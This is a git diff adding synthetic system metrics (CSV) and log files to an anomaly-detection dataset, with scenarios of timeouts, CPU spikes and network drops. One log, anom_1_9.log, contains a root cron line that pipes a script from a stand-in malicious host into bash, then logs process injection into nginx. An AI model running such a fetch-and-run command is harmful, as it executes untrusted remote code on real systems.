20 10:00:19 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:00:21 sshd[4652]: Accepted publickey for user admin from 10.0.1.5 port 39364 ssh2 +Aug 20 10:00:23 systemd[1]: Started Session 15 of user root. +Aug 20 10:00:26 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:00:28 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:00:30 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:00:31 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:00:38 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:00:41 cron[12594]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:00:42 nginx[21594]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:00:44 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:00:50 cron[10570]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:00:51 kubelet[29524]: INFO routine sync completed for pod web-app-v2 +Aug 20 10:00:52 systemd[1]: Started Session 18 of user root. +Aug 20 10:00:53 sshd[12259]: Accepted publickey for user admin from 10.0.1.5 port 40316 ssh2 +Aug 20 10:00:57 nginx[5813]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:01:00 systemd[1]: Started Session 19 of user root. +Aug 20 10:01:02 cron[23188]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:01:04 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:01:05 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:01:06 cron[22207]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:01:16 nginx[28441]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:01:23 nginx[15335]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:01:27 cron[18052]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:01:30 systemd[1]: Started Session 17 of user root. +Aug 20 10:01:31 kubelet[28700]: INFO routine sync completed for pod web-app-v2 +Aug 20 10:01:32 systemd[1]: Started Session 14 of user root. +Aug 20 10:01:33 nginx[3699]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:01:35 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:01:37 nginx[18782]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:01:38 cron[7904]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:01:41 sshd[17733]: Accepted publickey for user admin from 10.0.1.5 port 57094 ssh2 +Aug 20 10:01:42 systemd[1]: Started Session 10 of user root. +Aug 20 10:01:51 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:01:57 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:02:03 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:02:08 nginx[28192]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:02:09 systemd[1]: Started Session 20 of user root. +Aug 20 10:02:12 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:02:19 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:02:22 cron[5945]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:02:23 cron[17323]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:02:28 sshd[15426]: Accepted publickey for user admin from 10.0.1.5 port 27279 ssh2 +Aug 20 10:02:29 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:02:33 sshd[3590]: Accepted publickey for user admin from 10.0.1.5 port 13277 ssh2 +Aug 20 10:02:36 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:02:37 nginx[6758]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:02:43 systemd[1]: Started Session 14 of user root. +Aug 20 10:02:47 gunicorn[7241]: [CRITICAL] WORKER TIMEOUT (pid:38760) +Aug 20 10:02:50 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:02:51 cron[6099]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:02:53 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:03:02 systemd[1]: Started Session 14 of user root. +Aug 20 10:03:06 systemd[1]: Started Session 13 of user root. +Aug 20 10:03:08 nginx[3274]: [WARN] GET /api/v2/user-profile processing time: 4011ms +Aug 20 10:03:09 nginx[6746]: [ERROR] upstream timeout while connecting to service recommendation-engine for GET /api/v2/recommendations +Aug 20 10:03:10 kubelet[23686]: INFO routine sync completed for pod web-app-v2 +Aug 20 10:03:12 gunicorn[17863]: [CRITICAL] WORKER TIMEOUT (pid:33453) +Aug 20 10:03:24 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:03:25 nginx[11271]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:03:29 gunicorn[22638]: [ERROR] Exception in worker process +Aug 20 10:03:30 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:03:31 nginx[18548]: [WARN] GET /api/v2/user-profile processing time: 2416ms +Aug 20 10:03:35 gunicorn[11305]: [ERROR] Exception in worker process +Aug 20 10:03:37 nginx[26355]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:03:42 cron[20718]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:03:50 kubelet[4457]: INFO routine sync completed for pod web-app-v2 +Aug 20 10:03:55 gunicorn[24418]: [ERROR] Exception in worker process +Aug 20 10:03:57 systemd[1]: Started Session 16 of user root. +Aug 20 10:04:03 nginx[16335]: [ERROR] upstream timeout while connecting to service recommendation-engine for GET /api/v2/recommendations +Aug 20 10:04:05 nginx[18181]: [WARN] GET /api/v2/user-profile processing time: 3023ms +Aug 20 10:04:06 nginx[21960]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:04:09 systemd[1]: Started Session 18 of user root. +Aug 20 10:04:12 nginx[20690]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:04:19 sshd[9206]: Accepted publickey for user admin from 10.0.1.5 port 22444 ssh2 +Aug 20 10:04:23 nginx[9451]: [WARN] GET /api/v2/recommendations processing time: 3507ms +Aug 20 10:04:32 gunicorn[25670]: [CRITICAL] WORKER TIMEOUT (pid:38555) +Aug 20 10:04:33 sshd[6037]: Accepted publickey for user admin from 10.0.1.5 port 29503 ssh2 +Aug 20 10:04:34 nginx[28817]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:04:37 nginx[17197]: [WARN] GET /api/v2/recommendations processing time: 3622ms +Aug 20 10:04:39 nginx[28704]: [WARN] GET /api/v2/recommendations processing time: 3883ms +Aug 20 10:04:42 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:04:43 nginx[14124]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:04:45 nginx[17015]: [WARN] GET /api/v2/user-profile processing time: 3549ms +Aug 20 10:04:54 nginx[14997]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:05:03 nginx[11013]: [WARN] GET /api/v2/user-profile processing time: 3401ms +Aug 20 10:05:07 nginx[8461]: [WARN] GET /api/v2/user-profile processing time: 3644ms +Aug 20 10:05:10 gunicorn[16237]: [CRITICAL] WORKER TIMEOUT (pid:37761) +Aug 20 10:05:11 nginx[21458]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:05:12 systemd[1]: Finished Clean up of old temporary directories. +Aug 20 10:05:13 nginx[25002]: [WARN] GET /api/v2/recommendations processing time: 3485ms +Aug 20 10:05:20 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:05:21 nginx[9850]: [WARN] GET /api/v2/recommendations processing time: 3297ms +Aug 20 10:05:23 nginx[25166]: [WARN] GET /api/v2/user-profile processing time: 2652ms +Aug 20 10:05:27 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:05:33 nginx[11527]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:05:39 gunicorn[6601]: [CRITICAL] WORKER TIMEOUT (pid:32604) +Aug 20 10:05:42 nginx[21888]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:05:44 gunicorn[15795]: [ERROR] Exception in worker process +Aug 20 10:05:45 nginx[15570]: [WARN] GET /api/v2/recommendations processing time: 4544ms +Aug 20 10:05:49 nginx[4296]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:05:50 systemd[1]: Started Session 11 of user root. +Aug 20 10:05:51 nginx[22267]: [WARN] GET /api/v2/user-profile processing time: 3453ms +Aug 20 10:05:53 nginx[5648]: [WARN] GET /api/v2/recommendations processing time: 3194ms +Aug 20 10:05:55 nginx[2168]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:05:56 gunicorn[8056]: [ERROR] Exception in worker process +Aug 20 10:05:59 gunicorn[25892]: [CRITICAL] WORKER TIMEOUT (pid:37964) +Aug 20 10:06:01 gunicorn[18811]: [CRITICAL] WORKER TIMEOUT (pid:36014) +Aug 20 10:06:03 systemd[1]: Started Session 16 of user root. +Aug 20 10:06:09 nginx[15864]: [ERROR] upstream timeout while connecting to service recommendation-engine for GET /api/v2/recommendations +Aug 20 10:06:13 nginx[18764]: [WARN] GET /api/v2/recommendations processing time: 3319ms +Aug 20 10:06:17 nginx[19205]: [WARN] GET /api/v2/recommendations processing time: 3445ms +Aug 20 10:06:18 nginx[21711]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:06:19 nginx[29374]: GET /api/v1/health HTTP/1.1 200 OK +Aug 20 10:06:20 nginx[5746]: [WARN] GET /api/v2/user-profile processing time: 2627ms +Aug 20 10:06:22 nginx[22534]: [WARN] GET /api/v2/user-profile processing time: 3040ms +Aug 20 10:06:23 nginx[18288]: [WARN] GET /api/v2/recommendations processing time: 3085ms +Aug 20 10:06:26 gunicorn[17112]: [ERROR] Exception in worker process +Aug 20 10:06:27 gunicorn[26795]: [ERROR] Exception in worker process +Aug 20 10:06:30 nginx[18773]: [ERROR] upstream timeout while connecting to service recommendation-engine for GET /api/v2/recommendations +Aug 20 10:06:36 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 10:06:43 cron[2420]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 20 10:06:47 sshd[26157]: Accepted publickey for user admin from 10.0.1.5 port 35770 ssh2 +Aug 20 10:06:48 nginx[22061]: [ERROR] upstream timeout while connecting to service recommendation-engine for GET /api/v2/recommendations +Aug 20 10:06:50 nginx[28702]: [WARN] GET /api/v2/recommendations processing time: 2743ms +Aug 20 10:06:51 nginx[11846]: [WARN] GET /api/v2/recommendations processing time: 3313ms +Aug 20 10:06:58 nginx[4416]: [WARN] GET /api/v2/recommendations processing time: 3925ms +Aug 20 10:07:01 nginx[8764]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:07:02 nginx[5518]: [WARN] GET /api/v2/recommendations processing time: 2730ms +Aug 20 10:07:04 nginx[14406]: [ERROR] upstream timeout while connecting to service recommendation-engine for GET /api/v2/recommendations +Aug 20 10:07:08 nginx[9091]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:07:10 nginx[16858]: [ERROR] upstream timeout while connecting to service user-db for GET /api/v2/user-profile +Aug 20 10:07:11 nginx[7761]: [WARN] GET /api/v2/recommendations processing time: 2465ms +Aug 20 10:07:12 nginx[20585]: [ERROR] upstream timeout while connecting to service recommendation-engine for GET /api/v2/recommendations +Aug 20 10:07:13 nginx[20643]: [WARN] GET /api/v2/recommendations processing time: 2457ms +Aug 20 10:07:17 nginx[14155]: [WARN] GET /api/v2/user-profile processing time: 2218ms +Aug 20 10:07:20 kubelet[13268]: INFO routine sync completed for pod web-app-v2 diff --git a/anom_dataset/scenario_1/anom_1_9.csv b/anom_dataset/scenario_1/anom_1_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..21ea0c378eb5a8e551f0ddc8b802da092a707b1a --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,19.96,35.38,21.88,0.89,1.25 +2025-08-23T10:00:05Z,18.27,40.69,29.81,0.99,1.54 +2025-08-23T10:00:10Z,16.94,38.05,33.1,0.64,0.86 +2025-08-23T10:00:15Z,10.83,38.03,22.44,0.97,1.05 +2025-08-23T10:00:20Z,16.43,44.98,26.27,1.08,0.94 +2025-08-23T10:00:25Z,10.87,38.17,27.12,1.38,1.47 +2025-08-23T10:00:30Z,15.11,37.81,21.6,0.8,0.72 +2025-08-23T10:00:35Z,11.66,36.22,26.35,0.78,1.24 +2025-08-23T10:00:40Z,17.92,35.12,20.71,1.23,1.65 +2025-08-23T10:00:45Z,17.78,37.97,20.35,0.58,0.85 +2025-08-23T10:00:50Z,10.38,44.4,21.79,0.97,1.22 +2025-08-23T10:00:55Z,16.66,35.26,34.87,0.74,0.88 +2025-08-23T10:01:00Z,16.63,39.55,21.66,1.42,0.92 +2025-08-23T10:01:05Z,12.44,35.43,30.27,1.49,1.51 +2025-08-23T10:01:10Z,16.87,41.97,33.74,0.91,1.3 +2025-08-23T10:01:15Z,16.08,44.11,33.05,0.96,0.91 +2025-08-23T10:01:20Z,14.72,35.47,34.64,1.31,1.17 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+2025-08-23T10:06:25Z,95.4,44.19,23.76,0.52,0.79 +2025-08-23T10:06:30Z,98.09,43.37,25.78,1.38,1.2 +2025-08-23T10:06:35Z,95.8,39.55,29.15,1.19,0.8 +2025-08-23T10:06:40Z,96.75,42.88,28.15,0.58,1.34 +2025-08-23T10:06:45Z,95.41,44.66,30.1,1.21,1.66 +2025-08-23T10:06:50Z,95.5,35.62,24.77,1.35,0.77 +2025-08-23T10:06:55Z,96.18,38.94,22.58,1.41,1.33 +2025-08-23T10:07:00Z,99.42,38.87,28.03,0.59,1.1 +2025-08-23T10:07:05Z,97.12,35.8,34.93,0.95,1.41 +2025-08-23T10:07:10Z,97.39,35.14,26.06,0.59,0.77 +2025-08-23T10:07:15Z,98.19,40.15,25.3,1.23,1.51 +2025-08-23T10:07:20Z,97.78,41.49,20.48,0.55,1.08 +2025-08-23T10:07:25Z,97.99,42.93,25.87,0.76,1.25 diff --git a/anom_dataset/scenario_1/anom_1_9.log b/anom_dataset/scenario_1/anom_1_9.log new file mode 100644 index 0000000000000000000000000000000000000000..5f95d36204720acd46d4e91edab8185e84f83f21 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_9.log @@ -0,0 +1,32 @@ +Aug 23 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 23 10:00:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Aug 23 10:00:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 23 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 23 10:01:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Aug 23 10:01:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 23 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 23 10:02:32 CRON[31501]: (root) CMD (curl -s http://some-malicious-repo.com/payload.sh | bash) +Aug 23 10:02:37 payload.sh[31510]: INFO script started, identifying target process... +Aug 23 10:02:42 payload.sh[31510]: INFO injecting into pid 1123 (nginx) +Aug 23 10:03:20 kubelet[2345]: INFO Liveness probe for web-app succeeded. +Aug 23 10:04:10 kubelet[2345]: INFO Liveness probe for web-app succeeded. +Aug 23 10:04:20 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:04:40 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:05:00 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:05:00 kubelet[2345]: INFO Liveness probe for web-app succeeded. +Aug 23 10:05:10 web-app[8765]: WARNING Request latency exceeded 30000ms for endpoint /api/data +Aug 23 10:05:20 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:05:30 web-app[8765]: WARNING Request latency exceeded 30000ms for endpoint /api/data +Aug 23 10:05:40 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:05:50 web-app[8765]: WARNING Request latency exceeded 30000ms for endpoint /api/data +Aug 23 10:05:50 kubelet[2345]: INFO Liveness probe for web-app succeeded. +Aug 23 10:06:00 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:06:10 web-app[8765]: WARNING Request latency exceeded 30000ms for endpoint /api/data +Aug 23 10:06:20 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:06:30 web-app[8765]: WARNING Request latency exceeded 30000ms for endpoint /api/data +Aug 23 10:06:40 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:06:40 kubelet[2345]: INFO Liveness probe for web-app succeeded. +Aug 23 10:06:50 web-app[8765]: WARNING Request latency exceeded 30000ms for endpoint /api/data +Aug 23 10:07:00 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" +Aug 23 10:07:10 web-app[8765]: WARNING Request latency exceeded 30000ms for endpoint /api/data +Aug 23 10:07:20 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.1.1.5, server: _, request: "GET /api/data HTTP/1.1" diff --git a/anom_dataset/scenario_10/anom_10_1.csv b/anom_dataset/scenario_10/anom_10_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..93a96ec10d449e55949c18a6c7291c78719141dd --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,16.36,37.58,26.55,0.82,1.35 +2025-08-15T10:00:05Z,15.63,43.88,24.89,0.59,1.17 +2025-08-15T10:00:10Z,15.28,36.56,30.86,1.09,1.42 +2025-08-15T10:00:15Z,11.13,40.34,22.74,0.95,1.12 +2025-08-15T10:00:20Z,13.33,44.07,24.06,1.08,1.65 +2025-08-15T10:00:25Z,14.03,43.64,24.42,0.71,1.36 +2025-08-15T10:00:30Z,17.31,36.85,34.52,1.22,1.16 +2025-08-15T10:00:35Z,14.02,35.69,26.24,1.06,1.41 +2025-08-15T10:00:40Z,13.25,45.73,23.63,0.83,1.53 +2025-08-15T10:00:45Z,14.06,39.87,26.79,1.24,1.16 +2025-08-15T10:00:50Z,15.37,39.81,22.64,1.05,1.26 +2025-08-15T10:00:55Z,13.21,36.23,27.21,1.02,0.86 +2025-08-15T10:01:00Z,16.14,39.91,29.98,0.82,1.89 +2025-08-15T10:01:05Z,15.06,42.89,18.41,0.86,1.56 +2025-08-15T10:01:10Z,14.24,46.62,27.03,0.7,1.59 +2025-08-15T10:01:15Z,14.19,43.78,27.16,0.84,1.23 +2025-08-15T10:01:20Z,13.78,39.55,22.97,0.91,1.28 +2025-08-15T10:01:25Z,14.88,40.42,29.21,1.1,1.73 +2025-08-15T10:01:30Z,15.92,39.5,26.84,0.64,1.85 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+2025-08-15T10:06:35Z,17.57,40.33,21.89,0.05,0.1 +2025-08-15T10:06:40Z,16.3,42.09,24.76,0.06,0.04 +2025-08-15T10:06:45Z,12.95,45.1,26.26,0.06,0.09 +2025-08-15T10:06:50Z,18.75,43.48,18.34,0.06,0.13 +2025-08-15T10:06:55Z,15.06,38.35,26.99,0.02,0.02 +2025-08-15T10:07:00Z,12.96,38.49,24.56,0.08,0.09 +2025-08-15T10:07:05Z,16.09,34.54,22.0,0.06,0.1 +2025-08-15T10:07:10Z,16.51,40.15,28.35,0.06,0.04 +2025-08-15T10:07:15Z,16.78,41.8,27.64,0.04,0.09 +2025-08-15T10:07:20Z,10.39,40.23,20.53,0.05,0.06 +2025-08-15T10:07:25Z,13.51,40.36,28.35,0.02,0.08 diff --git a/anom_dataset/scenario_10/anom_10_1.log b/anom_dataset/scenario_10/anom_10_1.log new file mode 100644 index 0000000000000000000000000000000000000000..37fe344483016197a934d6f0183f83487fc1a832 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_1.log @@ -0,0 +1,56 @@ +Aug 15 10:00:06 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:19 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:00:19 systemd[1]: Started Session 10 of user ubuntu. +Aug 15 10:00:23 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:00:27 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:00:38 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:53 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:01:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:07 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:01:23 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:01:23 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:27 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:01:35 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:01:43 systemd[1]: Started Session 10 of user ubuntu. +Aug 15 10:01:47 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:01:54 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:02:09 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:02:09 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:02:24 nginx[1123]: GET /api/status HTTP/1.1 200 OK from 192.168.1.101 +Aug 15 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:02:44 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:02:56 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:03:10 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:03:34 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:03:34 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:03:42 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:03:42 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:03:49 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:03:49 CRON[21135]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 15 10:03:58 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:04:02 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:04:21 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:04:38 CRON[20350]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 15 10:04:47 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:04:52 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:05:01 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:05:01 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:16 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:05:20 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:24 CRON[20318]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 15 10:05:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:37 CRON[20306]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 15 10:05:46 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:05:54 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:05:54 CRON[20885]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 15 10:06:08 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:06:08 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:06:21 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:06:21 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:06:29 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:06:29 CRON[21771]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 15 10:06:50 webapp[4567]: ERROR failed to connect to backend_db: Connection timed out +Aug 15 10:07:17 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:07:17 CRON[20065]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 15 10:07:29 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_10/anom_10_10.csv b/anom_dataset/scenario_10/anom_10_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..312620985783660fa8c0c5e5c09dd0e8956066d1 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-01T10:00:00Z,18.71,46.07,36.52,1.07,1.02 +2025-08-01T10:00:05Z,19.33,45.6,29.0,0.97,0.81 +2025-08-01T10:00:10Z,18.63,47.07,31.73,1.49,1.14 +2025-08-01T10:00:15Z,20.95,45.03,26.61,0.98,0.79 +2025-08-01T10:00:20Z,20.3,42.17,28.46,1.36,0.71 +2025-08-01T10:00:25Z,19.56,42.9,31.9,1.35,0.99 +2025-08-01T10:00:30Z,15.51,45.73,25.93,1.45,0.75 +2025-08-01T10:00:35Z,19.01,38.11,26.75,0.94,0.41 +2025-08-01T10:00:40Z,20.57,45.9,25.51,1.28,0.74 +2025-08-01T10:00:45Z,18.15,47.79,21.11,1.22,0.88 +2025-08-01T10:00:50Z,20.53,40.92,17.61,1.31,0.84 +2025-08-01T10:00:55Z,23.76,45.22,31.95,0.68,1.01 +2025-08-01T10:01:00Z,22.19,50.91,32.34,0.93,0.86 +2025-08-01T10:01:05Z,22.75,40.97,30.66,1.11,0.65 +2025-08-01T10:01:10Z,24.56,50.27,32.31,1.68,1.05 +2025-08-01T10:01:15Z,21.19,46.55,32.44,1.03,0.87 +2025-08-01T10:01:20Z,23.71,42.89,32.84,1.32,0.68 +2025-08-01T10:01:25Z,20.8,52.91,36.66,1.39,0.83 +2025-08-01T10:01:30Z,19.25,42.93,26.19,1.23,0.48 +2025-08-01T10:01:35Z,21.99,44.09,28.48,1.61,0.81 +2025-08-01T10:01:40Z,21.82,39.72,24.95,1.58,0.84 +2025-08-01T10:01:45Z,19.92,43.34,28.1,1.29,0.87 +2025-08-01T10:01:50Z,20.47,44.33,27.85,1.06,0.73 +2025-08-01T10:01:55Z,17.92,43.2,31.39,1.39,0.95 +2025-08-01T10:02:00Z,17.6,45.78,25.62,1.09,0.93 +2025-08-01T10:02:05Z,20.81,47.75,35.25,1.32,0.82 +2025-08-01T10:02:10Z,18.68,45.77,33.2,1.0,1.05 +2025-08-01T10:02:15Z,20.37,49.44,33.53,1.2,1.04 +2025-08-01T10:02:20Z,22.02,48.11,32.94,1.49,0.83 +2025-08-01T10:02:25Z,21.22,44.81,39.93,1.26,0.84 +2025-08-01T10:02:30Z,20.05,40.67,24.46,0.02,0.0 +2025-08-01T10:02:35Z,21.65,41.84,28.59,0.01,0.04 +2025-08-01T10:02:40Z,17.78,45.69,26.42,0.01,0.04 +2025-08-01T10:02:45Z,20.24,42.86,28.93,0.04,0.04 +2025-08-01T10:02:50Z,18.57,45.05,32.93,0.02,0.03 +2025-08-01T10:02:55Z,21.1,45.7,31.14,0.01,0.01 +2025-08-01T10:03:00Z,17.87,48.5,25.86,0.01,0.03 +2025-08-01T10:03:05Z,21.92,40.56,37.28,0.04,0.05 +2025-08-01T10:03:10Z,23.38,42.56,32.71,0.02,0.03 +2025-08-01T10:03:15Z,21.8,38.13,29.02,0.03,0.04 +2025-08-01T10:03:20Z,18.39,48.74,28.92,0.01,0.03 +2025-08-01T10:03:25Z,17.72,45.99,31.53,0.05,0.01 +2025-08-01T10:03:30Z,20.92,43.95,36.35,0.02,0.03 +2025-08-01T10:03:35Z,18.87,41.77,27.31,0.03,0.01 +2025-08-01T10:03:40Z,19.97,48.02,30.06,0.03,0.03 +2025-08-01T10:03:45Z,19.11,44.03,26.83,0.01,0.03 +2025-08-01T10:03:50Z,21.82,47.97,28.96,0.05,0.03 +2025-08-01T10:03:55Z,17.2,43.72,30.82,0.04,0.04 +2025-08-01T10:04:00Z,19.67,45.46,27.61,0.01,0.02 